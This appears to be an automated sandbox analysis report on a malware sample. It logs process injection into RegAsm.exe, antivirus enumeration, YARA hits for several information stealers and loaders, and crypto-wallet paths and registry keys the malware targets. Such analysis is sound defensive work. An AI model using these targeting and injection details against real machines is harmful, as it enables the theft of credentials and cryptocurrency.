Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 5D9000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: F3E008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: A2C008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 456000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 458000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 10ED008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: EA1008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63E000
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: C53008
Source: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 3210000
Source: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 3171008

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Process created: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe "C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Process created: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe "C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Process created: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe "C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 6948 -ip 6948
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6948 -s 876
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2796 -ip 2796
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1708 -ip 1708
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 548
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2796 -s 944
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Process created: unknown unknown

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0053EE6E cpuid

3_2_0053EE6E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	3_2_005610C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	3_2_005612CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	3_2_00561373
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	3_2_005613BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	3_2_00561459
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	3_2_005614E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	3_2_0055B578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoEx,FormatMessageA,	3_2_005406BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	3_2_00561737
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_00561860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	3_2_00561966
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	3_2_0055BA47
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	3_2_00561A3C

Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Queries volume information: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Queries volume information: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Queries volume information: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe	Queries volume information: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Queries volume information: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Queries volume information: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Queries volume information: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe VolumeInformation
Source: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe	Queries volume information: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe VolumeInformation
Source: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe	Queries volume information: C:\Windows VolumeInformation
Source: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe	Queries volume information: C:\Windows\AppReadiness VolumeInformation
Source: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents VolumeInformation
Source: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation
Source: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation
Source: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Queries volume information: C:\ProgramData\jewkkwnf\jewkkwnf.exe VolumeInformation
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0042C650 GetSystemTimeAsFileTime,

3_2_0042C650

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00442070 GetComputerNameA,__aulldiv,GlobalAlloc,LookupAccountNameA,GetLastError,ConvertSidToStringSidA,GetLastError,

3_2_00442070

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0042DCD0 RtlGetVersion,GetVersionExA,

3_2_0042DCD0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Yt_9y5LuIpBZXKd9EiYluKkG.exe, 00000006.00000002.1826093491.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, g2v2mVtOHdxh9ZgrtYde5yf0.exe, 0000000B.00000002.1893286223.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, wg6F73wLMGz6xXFA14w_olCU.exe, 0000000D.00000002.2166406774.00000000006B1000.00000004.00000020.00020000.00000000.sdmp, 1IvCzYfqoD3SHvKt45m1rbHu.exe, 0000000E.00000002.1944247842.0000000000E31000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: Yt_9y5LuIpBZXKd9EiYluKkG.exe, 00000006.00000002.1826093491.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, g2v2mVtOHdxh9ZgrtYde5yf0.exe, 0000000B.00000002.1893286223.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, wg6F73wLMGz6xXFA14w_olCU.exe, 0000000D.00000002.2166406774.00000000006B1000.00000004.00000020.00020000.00000000.sdmp, 1IvCzYfqoD3SHvKt45m1rbHu.exe, 0000000E.00000002.1944247842.0000000000E31000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AVP.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\SysWOW64\schtasks.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 12.2.kJHbagG0C4H5BEyYJQeInLfF.exe.5ca3f2.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.kJHbagG0C4H5BEyYJQeInLfF.exe.5ca3f2.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.kJHbagG0C4H5BEyYJQeInLfF.exe.2270000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.kJHbagG0C4H5BEyYJQeInLfF.exe.2270000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.kJHbagG0C4H5BEyYJQeInLfF.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2392167583.0000000002270000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2391461087.00000000005CA000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected Clipboard Hijacker

Source: Yara match	File source: 00000008.00000002.2952837551.0000000001409000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: kFXFCWzZNovbPAcE4V3M4DAO.exe PID: 5828, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: Process Memory Space: kFXFCWzZNovbPAcE4V3M4DAO.exe PID: 5828, type: MEMORYSTR

Yara detected Go Injector

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 00000012.00000000.1791538975.00007FF75157B000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2923275259.00007FF75157B000.00000002.00000001.01000000.00000014.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected PrivateLoader

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 6388, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 11.2.g2v2mVtOHdxh9ZgrtYde5yf0.exe.3f55570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.g2v2mVtOHdxh9ZgrtYde5yf0.exe.3f55570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.1899246450.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2116924327.0000000003F55000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match	File source: 13.2.wg6F73wLMGz6xXFA14w_olCU.exe.3345570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.wg6F73wLMGz6xXFA14w_olCU.exe.3345570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2359247420.0000000003345000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wg6F73wLMGz6xXFA14w_olCU.exe PID: 2796, type: MEMORYSTR

Yara detected SmokeLoader

Source: Yara match	File source: 0000002B.00000002.2943867641.0000000002A61000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2601636491.0000000002600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2601573090.0000000002561000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000001B.00000002.2207772758.0000000000FCA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 6.2.Yt_9y5LuIpBZXKd9EiYluKkG.exe.34c5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2087266509.00000000034F4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Yt_9y5LuIpBZXKd9EiYluKkG.exe PID: 1280, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 11.2.g2v2mVtOHdxh9ZgrtYde5yf0.exe.3f55570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.g2v2mVtOHdxh9ZgrtYde5yf0.exe.3f55570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE

Found many strings related to Crypto-Wallets (likely being stolen)

Source: kFXFCWzZNovbPAcE4V3M4DAO.exe	String found in binary or memory: Electrum
Source: kFXFCWzZNovbPAcE4V3M4DAO.exe	String found in binary or memory: \ElectronCash\wallets
Source: kFXFCWzZNovbPAcE4V3M4DAO.exe, 00000008.00000000.1791830844.0000000000887000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: s\Exodus\backupExodus backup\MultiBitHDMultiBit HD\Electrum\wallets\ElectronCash\walletsElectron Cash\Electrum-btcp\walletsElectrum BTCP\walletsUnknown Wallet (Folder - wallets)CLR_v2.0PlaceholderTileLogoFolderVirtualStoreWindows Photo ViewerjnlgamecbpmbajjfhmmmlhejkemejdmaRealPlayerRealNetworksSYACOneDrive\.pngPower BI DesktopSystemCertificatesVaultemojiBlizzard EntertainmentBattle.netODISpaint.netAmpMeltytech.openshot_qtMusic
Source: kFXFCWzZNovbPAcE4V3M4DAO.exe	String found in binary or memory: com.liberty.jaxx
Source: kFXFCWzZNovbPAcE4V3M4DAO.exe	String found in binary or memory: s\Exodus\backup
Source: kFXFCWzZNovbPAcE4V3M4DAO.exe	String found in binary or memory: Exodus\
Source: kFXFCWzZNovbPAcE4V3M4DAO.exe	String found in binary or memory: Ethereum (UTC)
Source: SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	String found in binary or memory: set_UseMachineKeyStore

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

